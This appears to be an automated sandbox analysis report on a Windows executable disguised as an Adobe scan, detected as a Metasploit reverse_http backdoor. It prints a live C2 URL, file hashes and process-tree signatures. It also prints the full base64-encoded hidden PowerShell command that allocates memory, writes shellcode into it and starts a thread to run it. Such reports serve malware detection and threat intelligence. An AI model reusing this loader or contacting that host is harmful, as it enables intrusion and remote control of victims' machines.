metasploit | 6b87d771156f68d09093d798abb1abd7fa4c1f951affb629c1ee3cf2e423fb6d

Analysis

max time kernel
163s
max time network
186s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
29/02/2024, 22:28

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Water_Adobe_Scan_Feb_27_2024.exe
Size 120KB
Sample240229-2dp9fsec8w
SHA256 ca26ea8e59fe41773d2b3652449ec3fc6a73edd6413b3109d2a7f04712ddc05b
MD5 1541e0bb046d31ba7eaa2fbf606df09c
SHA1 de9c548823391fbcc02d598da5ee703d655005f7
SHA512 4dd80e31f75d2d75f1dfcb74cc060863bef7541d455abdba4531e4fa5f622127f4f5369b49bdea79a79dcac4ca6cddda82e37f541b249f22de3000b1e7494561
SSDEEP 1536:/zjoAkSVRoidt3NIEzK1I0ZjwZ61cBsYvIch8RwW0IHAufngu5Nr2O1vHkt9um:/HuSVKidFNI1ZRqORp4ufFm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

metasploit backdoor trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_http

http://76.128.80.129:9787/25goz-yhLfg-Kj8rW8s-wg4G7fAT8

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Blocklisted process makes network request 6 IoCs

flow	pid	Process
3	2860	powershell.exe
5	2860	powershell.exe
6	2860	powershell.exe
7	2860	powershell.exe
8	2860	powershell.exe
9	2860	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2980	powershell.exe
2668	powershell.exe
2860	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1204 wrote to memory of 2980	1204	Water_Adobe_Scan_Feb_27_2024.exe	27
PID 1204 wrote to memory of 2980	1204	Water_Adobe_Scan_Feb_27_2024.exe	27
PID 1204 wrote to memory of 2980	1204	Water_Adobe_Scan_Feb_27_2024.exe	27
PID 2980 wrote to memory of 2668	2980	powershell.exe	29
PID 2980 wrote to memory of 2668	2980	powershell.exe	29
PID 2980 wrote to memory of 2668	2980	powershell.exe	29
PID 2668 wrote to memory of 2860	2668	powershell.exe	30
PID 2668 wrote to memory of 2860	2668	powershell.exe	30
PID 2668 wrote to memory of 2860	2668	powershell.exe	30
PID 2668 wrote to memory of 2860	2668	powershell.exe	30
PID 2860 wrote to memory of 928	2860	powershell.exe	33
PID 2860 wrote to memory of 928	2860	powershell.exe	33
PID 2860 wrote to memory of 928	2860	powershell.exe	33
PID 2860 wrote to memory of 928	2860	powershell.exe	33
PID 928 wrote to memory of 2808	928	csc.exe	34
PID 928 wrote to memory of 2808	928	csc.exe	34
PID 928 wrote to memory of 2808	928	csc.exe	34
PID 928 wrote to memory of 2808	928	csc.exe	34

C:\Users\Admin\AppData\Local\Temp\Water_Adobe_Scan_Feb_27_2024.exe
"C:\Users\Admin\AppData\Local\Temp\Water_Adobe_Scan_Feb_27_2024.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -window hidden -EncodedCommand JABoAEkAZgBTACAAPQAgACcAJABUAHoAcwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABUAHoAcwAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABiAGQALAAwAHgANAA1ACwAMAB4ADgAOAAsADAAeAA3AGYALAAwAHgAYgBhACwAMAB4AGQAZAAsADAAeABjADEALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAOAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA1AGUALAAwAHgAOAAzACwAMAB4AGUAOAAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADYAOAAsADAAeAAxADAALAAwAHgAMAAzACwAMAB4ADYAOAAsADAAeAAxADAALAAwAHgAYQA3ACwAMAB4ADcAZAAsADAAeAA4ADMALAAwAHgANQAyACwAMAB4AGEAOAAsADAAeAA3AGUALAAwAHgANwBjACwAMAB4AGEAMwAsADAAeABkADYALAAwAHgAZgA3ACwAMAB4ADkAOQAsADAAeAA5ADIALAAwAHgAYwA0ACwAMAB4ADYAYwAsADAAeABlADkALAAwAHgAOAA3ACwAMAB4AGQAOAAsADAAeABlADcALAAwAHgAYgBmACwAMAB4ADIAYgAsADAAeAA5ADMALAAwAHgAYQBhACwAMAB4ADIAYgAsADAAeABiAGYALAAwAHgAZAAxACwAMAB4ADYAMgAsADAAeAA2ADUALAAwAHgANAAwACwAMAB4ADEAYQAsADAAeABjADQALAAwAHgAYwBmACwAMAB4ADkAOAAsADAAeAAxADUALAAwAHgAZQBhACwAMAB4ADcAYwAsADAAeABkADgALAAwAHgAMwA0ACwAMAB4ADkANgAsADAAeAA3AGUALAAwAHgAMABkACwAMAB4ADkANgAsADAAeABhADcALAAwAHgAYgAwACwAMAB4ADQAMAAsADAAeABkADcALAAwAHgAZQAwACwAMAB4ADAANgAsADAAeAAyAGUALAAwAHgAMwA4ACwAMAB4AGIAYwAsADAAeAAxADMALAAwAHgAOAAyACwAMAB4AGQANgAsADAAeABjAGEALAAwAHgANgA2ACwAMAB4ADEAZgAsADAAeABkADcALAAwAHgAMQBjACwAMAB4ADMAMQAsADAAeABkADQALAAwAHgAOQA3ACwAMAB4AGUANAAsADAAeAAzAGIALAAwAHgAMgBhACwAMAB4ADYAMwAsADAAeAA1ADkALAAwAHgANAA1ACwAMAB4ADcAYgAsADAAeABkAGIALAAwAHgAZQBhACwAMAB4ADAAZAAsADAAeAA2ADMALAAwAHgANQAwACwAMAB4AGIANAAsADAAeABhAGQALAAwAHgAOQAyACwAMAB4AGIANQAsADAAeABjADAALAAwAHgANgA3ACwAMAB4AGUAMAAsADAAeAAwADUALAAwAHgAZgBhACwAMAB4ADgAOAAsADAAeAA0ADAALAAwAHgAZgBlACwAMAB4AGMAOAAsADAAeABmAGQALAAwAHgANQAyACwAMAB4AGQANgAsADAAeAAwADAALAAwAHgAYwAyACwAMAB4AGYAOQAsADAAeAAxADcALAAwAHgAYQBkACwAMAB4AGMAZgAsADAAeAAwADAALAAwAHgANQAwACwAMAB4ADAAYQAsADAAeAAzADAALAAwAHgANwA3ACwAMAB4AGEAYQAsADAAeAA2ADgALAAwAHgAYwBkACwAMAB4ADgAMAAsADAAeAA2ADkALAAwAHgAMQAyACwAMAB4ADAAOQAsADAAeAAwADQALAAwAHgANgBkACwAMAB4AGIANAAsADAAeABkAGEALAAwAHgAYgBlACwAMAB4ADQAOQAsADAAeAA0ADQALAAwAHgAMABlACwAMAB4ADUAOAAsADAAeAAxAGEALAAwAHgANABhACwAMAB4AGYAYgAsADAAeAAyAGUALAAwAHgANAA0ACwAMAB4ADQAZgAsADAAeABmAGEALAAwAHgAZQAzACwAMAB4AGYAZgAsADAAeAA2AGIALAAwAHgANwA3ACwAMAB4ADAAMgAsADAAeAAyAGYALAAwAHgAZgBhACwAMAB4AGMAMwAsADAAeAAyADEALAAwAHgAZQBiACwAMAB4AGEANgAsADAAeAA5ADAALAAwAHgANAA4ACwAMAB4AGEAYQAsADAAeAAwADIALAAwAHgANwA2ACwAMAB4ADcANAAsADAAeABhAGMALAAwAHgAZQBiACwAMAB4ADIANwAsADAAeABkADAALAAwAHgAYQA3ACwAMAB4ADEAZQAsADAAeAAzADEALAAwAHgANgA0ACwAMAB4ADQAOAAsADAAeABlADEALAAwAHgAMwBlACwAMAB4ADMAOAAsADAAeABkAGUALAAwAHgANwAwACwAMAB4AGEANAAsADAAeABiADcALAAwAHgAMQBlACwAMAB4AGUANQAsADAAeAA1ADEALAAwAHgANQAxACwAMAB4ADcAMAAsADAAeAA5AGMALAAwAHgAYwA5ACwAMAB4AGMAOQAsADAAeABjADAALAAwAHgAMgA5ACwAMAB4AGQANAAsADAAeAAwAGUALAAwAHgAMgA3ACwAMAB4ADAAMAAsADAAeAAyADkALAAwAHgAYwBhACwAMAB4ADgANAAsADAAeABmADgALAAwAHgAMQA5ACwAMAB4AGIAZgAsADAAeAA3ADkALAAwAHgAOQA3ACwAMAB4AGEANwAsADAAeAA2ADkALAAwAHgAMAA0ACwAMAB4AGMAMAAsADAAeAAyADcALAAwAHgANAAwACwAMAB4AGEANQAsADAAeAA1AGQALAAwAHgAYgAyACwAMAB4ADYAOAAsADAAeAAxAGEALAAwAHgAMwAxACwAMAB4ADIAYQAsADAAeAA1ADQALAAwAHgAYgBhACwAMAB4AGIANQAsADAAeABhAGEALAAwAHgANAAyACwAMAB4ADUAZQAsADAAeABiADUALAAwAHgAYQBhACwAMAB4ADkAMgAsADAAeAA3ADEALAAwAHgAOAA0ACwAMAB4ADkAZgAsADAAeABmADUALAAwAHgAZQAyACwAMAB4ADkAMgAsADAAeABmADIALAAwAHgAOAAwACwAMAB4ADkANAAsADAAeAAyAGUALAAwAHgANgBiACwAMAB4ADEANAAsADAAeAA0ADkALAAwAHgAZQA0ACwAMAB4ADEAOQAsADAAeABlADIALAAwAHgAZQAzACwAMAB4AGEAZAAsADAAeABlADUALAAwAHgANgAxACwAMAB4ADIAZQAsADAAeAAyADUALAAwAHgANwAxACwAMAB4AGIAMgAsADAAeAA3ADcALAAwAHgAZgBlACwAMAB4ADEAYgAsADAAeABmAGIALAAwAHgAMgAzACwAMAB4ADMAOAAsADAAeABlADQALAAwAHgAYQBiACwAMAB4AGEAMwAsADAAeAA2AGYALAAwAHgANgBkACwAMAB4AGQANAAsADAAeABmADUALAAwAHgANgBmACwAMAB4AGIAOAAsADAAeAA2ADIALAAwAHgAMwBmACwAMAB4AGQAYwAsADAAeAAyAGIALAAwAHgANwA1ACwAMAB4AGIAZAAsADAAeAA4AGIALAAwAHgAMgBmACwAMAB4ADIANgAsADAAeAA5ADIALAAwAHgAMQA4ACwAMAB4ADYANwAsADAAeAA5AGEALAAwAHgANAAyACwAMAB4AGYANwAsADAAeAA2AGMALAAwAHgANAA5ACwAMAB4ADQANAAsADAAeAAzAGMALAAwAHgAOABjACwAMAB4AGEANwAsADAAeAAwAGUALAAwAHgAMgA4ACwAMAB4ADcAOAAsADAAeAAxADcALAAwAHgANwBkACwAMAB4AGYAZQAsADAAeAAyAGYALAAwAHgAZgA0ACwAMAB4AGQANwAsADAAeAA2ADgALAAwAHgAZgBkACwAMAB4AGYAYwAsADAAeABjAGYALAAwAHgAMQAzACwAMAB4ADAAMgAsADAAeABkADUALAAwAHgANgBhACwAMAB4ADIAMwAsADAAeAA4ADkALAAwAHgAYwAwACwAMAB4ADEAYwAsADAAeAAyAGMALAAwAHgANgAxACwAMAB4AGUAZAAsADAAeABkAGMALAAwAHgANAA0ACwAMAB4AGMAMgAsADAAeAAxAGQALAAwAHgAZQA5ACwAMAB4ADcANAAsADAAeAAzADUALAAwAHgAMAA4ACwAMAB4ADUAZQAsADAAeAAwADAALAAwAHgAMgBiACwAMAB4AGQAYgAsADAAeAA5ADAALAAwAHgANQBmACwAMAB4ADAAOQAsADAAeAA0AGEALAAwAHgAYQBmACwAMAB4ADcANQAsADAAeAAyADQALAAwAHgAMwAzACwAMAB4ADIANwAsADAAeAA3ADYALAAwAHgAYQA5ACwAMAB4AGIAMwAsADAAeABiADcALAAwAHgAMQBlACwAMAB4AGMAOQAsADAAeABiADMALAAwAHgAZgA3ACwAMAB4AGQAZQAsADAAeAA5AGEALAAwAHgAZABiACwAMAB4AGEAZgAsADAAeAA3AGEALAAwAHgANABmACwAMAB4AGYAOQAsADAAeABiADAALAAwAHgANQA2ACwAMAB4AGUAMwAsADAAeAA1ADIALAAwAHgAMQBkACwAMAB4AGQAMAAsADAAeABlADMALAAwAHgAMAAyACwAMAB4AGMAOQAsADAAeABlADIALAAwAHgAYwBiACwAMAB4AGEAYwAsADAAeAAwADkALAAwAHgAYgAwACwAMAB4ADUAZAAsADAAeABjADUALAAwAHgAMQBiACwAMAB4AGEAMAAsADAAeABlAGIALAAwAHgAZgA3ACwAMAB4AGUANAAsADAAeAAxADkALAAwAHgANgBlACwAMAB4ADMANwAsADAAeAA2AGUALAAwAHgANgBmACwAMAB4AGYAYQAsADAAeABiAGYALAAwAHgAOABmACwAMAB4AGEAYwAsADAAeAA3ADgALAAwAHgANwBmACwAMAB4AGYAYQAsADAAeABkADcALAAwAHgAZABiACwAMAB4ADQAMwAsADAAeAA1AGIALAAwAHgAZgAwACwAMAB4AGEAMQAsADAAeABiAGMALAAwAHgAOQBjACwAMAB4AGYAZgAsADAAeAA2AGQALAAwAHgANwA1ACwAMAB4ADQAYwAsADAAeAAzADEALAAwAHgAYQAwACwAMAB4ADQAMQAsADAAeABiAGUALAAwAHgAMAA5ACwAMAB4AGYANAAsADAAeAA5AGYALAAwAHgAOABmACwAMAB4ADUAYgAsADAAeABjAGQALAAwAHgAZABmADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABGAGUASwBxAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABGAGUASwBxAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABGAGUASwBxACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAaABJAGYAUwApACkAOwAkAGsANgBFACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQANABjAHAAegAgAD0AIAAkAGUAbgB2ADoAUwB5AHMAdABlAG0AUgBvAG8AdAAgACsAIAAiAFwAcwB5AHMAdwBvAHcANgA0AFwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwAIgA7AGkAZQB4ACAAIgAmACAAJAA0AGMAcAB6ACAAJABrADYARQAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABrADYARQAgACQAZQAiADsAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -window hidden -EncodedCommand JABoAEkAZgBTACAAPQAgACcAJABUAHoAcwAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABUAHoAcwAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABiAGQALAAwAHgANAA1ACwAMAB4ADgAOAAsADAAeAA3AGYALAAwAHgAYgBhACwAMAB4AGQAZAAsADAAeABjADEALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAOAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA1AGUALAAwAHgAOAAzACwAMAB4AGUAOAAsADAAeABmAGMALAAwAHgAMwAxACwAMAB4ADYAOAAsADAAeAAxADAALAAwAHgAMAAzACwAMAB4ADYAOAAsADAAeAAxADAALAAwAHgAYQA3ACwAMAB4ADcAZAAsADAAeAA4ADMALAAwAHgANQAyACwAMAB4AGEAOAAsADAAeAA3AGUALAAwAHgANwBjACwAMAB4AGEAMwAsADAAeABkADYALAAwAHgAZgA3ACwAMAB4ADkAOQAsADAAeAA5ADIALAAwAHgAYwA0ACwAMAB4ADYAYwAsADAAeABlADkALAAwAHgAOAA3ACwAMAB4AGQAOAAsADAAeABlADcALAAwAHgAYgBmACwAMAB4ADIAYgAsADAAeAA5ADMALAAwAHgAYQBhACwAMAB4ADIAYgAsADAAeABiAGYALAAwAHgAZAAxACwAMAB4ADYAMgAsADAAeAA2ADUALAAwAHgANAAwACwAMAB4ADEAYQAsADAAeABjADQALAAwAHgAYwBmACwAMAB4ADkAOAAsADAAeAAxADUALAAwAHgAZQBhACwAMAB4ADcAYwAsADAAeABkADgALAAwAHgAMwA0ACwAMAB4ADkANgAsADAAeAA3AGUALAAwAHgAMABkACwAMAB4ADkANgAsADAAeABhADcALAAwAHgAYgAwACwAMAB4ADQAMAAsADAAeABkADcALAAwAHgAZQAwACwAMAB4ADAANgAsADAAeAAyAGUALAAwAHgAMwA4ACwAMAB4AGIAYwAsADAAeAAxADMALAAwAHgAOAAyACwAMAB4AGQANgAsADAAeABjAGEALAAwAHgANgA2ACwAMAB4ADEAZgAsADAAeABkADcALAAwAHgAMQBjACwAMAB4ADMAMQAsADAAeABkADQALAAwAHgAOQA3ACwAMAB4AGUANAAsADAAeAAzAGIALAAwAHgAMgBhACwAMAB4ADYAMwAsADAAeAA1ADkALAAwAHgANAA1ACwAMAB4ADcAYgAsADAAeABkAGIALAAwAHgAZQBhACwAMAB4ADAAZAAsADAAeAA2ADMALAAwAHgANQAwACwAMAB4AGIANAAsADAAeABhAGQALAAwAHgAOQAyACwAMAB4AGIANQAsADAAeABjADAALAAwAHgANgA3ACwAMAB4AGUAMAAsADAAeAAwADUALAAwAHgAZgBhACwAMAB4ADgAOAAsADAAeAA0ADAALAAwAHgAZgBlACwAMAB4AGMAOAAsADAAeABmAGQALAAwAHgANQAyACwAMAB4AGQANgAsADAAeAAwADAALAAwAHgAYwAyACwAMAB4AGYAOQAsADAAeAAxADcALAAwAHgAYQBkACwAMAB4AGMAZgAsADAAeAAwADAALAAwAHgANQAwACwAMAB4ADAAYQAsADAAeAAzADAALAAwAHgANwA3ACwAMAB4AGEAYQAsADAAeAA2ADgALAAwAHgAYwBkACwAMAB4ADgAMAAsADAAeAA2ADkALAAwAHgAMQAyACwAMAB4ADAAOQAsADAAeAAwADQALAAwAHgANgBkACwAMAB4AGIANAAsADAAeABkAGEALAAwAHgAYgBlACwAMAB4ADQAOQAsADAAeAA0ADQALAAwAHgAMABlACwAMAB4ADUAOAAsADAAeAAxAGEALAAwAHgANABhACwAMAB4AGYAYgAsADAAeAAyAGUALAAwAHgANAA0ACwAMAB4ADQAZgAsADAAeABmAGEALAAwAHgAZQAzACwAMAB4AGYAZgAsADAAeAA2AGIALAAwAHgANwA3ACwAMAB4ADAAMgAsADAAeAAyAGYALAAwAHgAZgBhACwAMAB4AGMAMwAsADAAeAAyADEALAAwAHgAZQBiACwAMAB4AGEANgAsADAAeAA5ADAALAAwAHgANAA4ACwAMAB4AGEAYQAsADAAeAAwADIALAAwAHgANwA2ACwAMAB4ADcANAAsADAAeABhAGMALAAwAHgAZQBiACwAMAB4ADIANwAsADAAeABkADAALAAwAHgAYQA3ACwAMAB4ADEAZQAsADAAeAAzADEALAAwAHgANgA0ACwAMAB4ADQAOAAsADAAeABlADEALAAwAHgAMwBlACwAMAB4ADMAOAAsADAAeABkAGUALAAwAHgANwAwACwAMAB4AGEANAAsADAAeABiADcALAAwAHgAMQBlACwAMAB4AGUANQAsADAAeAA1ADEALAAwAHgANQAxACwAMAB4ADcAMAAsADAAeAA5AGMALAAwAHgAYwA5ACwAMAB4AGMAOQAsADAAeABjADAALAAwAHgAMgA5ACwAMAB4AGQANAAsADAAeAAwAGUALAAwAHgAMgA3ACwAMAB4ADAAMAAsADAAeAAyADkALAAwAHgAYwBhACwAMAB4ADgANAAsADAAeABmADgALAAwAHgAMQA5ACwAMAB4AGIAZgAsADAAeAA3ADkALAAwAHgAOQA3ACwAMAB4AGEANwAsADAAeAA2ADkALAAwAHgAMAA0ACwAMAB4AGMAMAAsADAAeAAyADcALAAwAHgANAAwACwAMAB4AGEANQAsADAAeAA1AGQALAAwAHgAYgAyACwAMAB4ADYAOAAsADAAeAAxAGEALAAwAHgAMwAxACwAMAB4ADIAYQAsADAAeAA1ADQALAAwAHgAYgBhACwAMAB4AGIANQAsADAAeABhAGEALAAwAHgANAAyACwAMAB4ADUAZQAsADAAeABiADUALAAwAHgAYQBhACwAMAB4ADkAMgAsADAAeAA3ADEALAAwAHgAOAA0ACwAMAB4ADkAZgAsADAAeABmADUALAAwAHgAZQAyACwAMAB4ADkAMgAsADAAeABmADIALAAwAHgAOAAwACwAMAB4ADkANAAsADAAeAAyAGUALAAwAHgANgBiACwAMAB4ADEANAAsADAAeAA0ADkALAAwAHgAZQA0ACwAMAB4ADEAOQAsADAAeABlADIALAAwAHgAZQAzACwAMAB4AGEAZAAsADAAeABlADUALAAwAHgANgAxACwAMAB4ADIAZQAsADAAeAAyADUALAAwAHgANwAxACwAMAB4AGIAMgAsADAAeAA3ADcALAAwAHgAZgBlACwAMAB4ADEAYgAsADAAeABmAGIALAAwAHgAMgAzACwAMAB4ADMAOAAsADAAeABlADQALAAwAHgAYQBiACwAMAB4AGEAMwAsADAAeAA2AGYALAAwAHgANgBkACwAMAB4AGQANAAsADAAeABmADUALAAwAHgANgBmACwAMAB4AGIAOAAsADAAeAA2ADIALAAwAHgAMwBmACwAMAB4AGQAYwAsADAAeAAyAGIALAAwAHgANwA1ACwAMAB4AGIAZAAsADAAeAA4AGIALAAwAHgAMgBmACwAMAB4ADIANgAsADAAeAA5ADIALAAwAHgAMQA4ACwAMAB4ADYANwAsADAAeAA5AGEALAAwAHgANAAyACwAMAB4AGYANwAsADAAeAA2AGMALAAwAHgANAA5ACwAMAB4ADQANAAsADAAeAAzAGMALAAwAHgAOABjACwAMAB4AGEANwAsADAAeAAwAGUALAAwAHgAMgA4ACwAMAB4ADcAOAAsADAAeAAxADcALAAwAHgANwBkACwAMAB4AGYAZQAsADAAeAAyAGYALAAwAHgAZgA0ACwAMAB4AGQANwAsADAAeAA2ADgALAAwAHgAZgBkACwAMAB4AGYAYwAsADAAeABjAGYALAAwAHgAMQAzACwAMAB4ADAAMgAsADAAeABkADUALAAwAHgANgBhACwAMAB4ADIAMwAsADAAeAA4ADkALAAwAHgAYwAwACwAMAB4ADEAYwAsADAAeAAyAGMALAAwAHgANgAxACwAMAB4AGUAZAAsADAAeABkAGMALAAwAHgANAA0ACwAMAB4AGMAMgAsADAAeAAxAGQALAAwAHgAZQA5ACwAMAB4ADcANAAsADAAeAAzADUALAAwAHgAMAA4ACwAMAB4ADUAZQAsADAAeAAwADAALAAwAHgAMgBiACwAMAB4AGQAYgAsADAAeAA5ADAALAAwAHgANQBmACwAMAB4ADAAOQAsADAAeAA0AGEALAAwAHgAYQBmACwAMAB4ADcANQAsADAAeAAyADQALAAwAHgAMwAzACwAMAB4ADIANwAsADAAeAA3ADYALAAwAHgAYQA5ACwAMAB4AGIAMwAsADAAeABiADcALAAwAHgAMQBlACwAMAB4AGMAOQAsADAAeABiADMALAAwAHgAZgA3ACwAMAB4AGQAZQAsADAAeAA5AGEALAAwAHgAZABiACwAMAB4AGEAZgAsADAAeAA3AGEALAAwAHgANABmACwAMAB4AGYAOQAsADAAeABiADAALAAwAHgANQA2ACwAMAB4AGUAMwAsADAAeAA1ADIALAAwAHgAMQBkACwAMAB4AGQAMAAsADAAeABlADMALAAwAH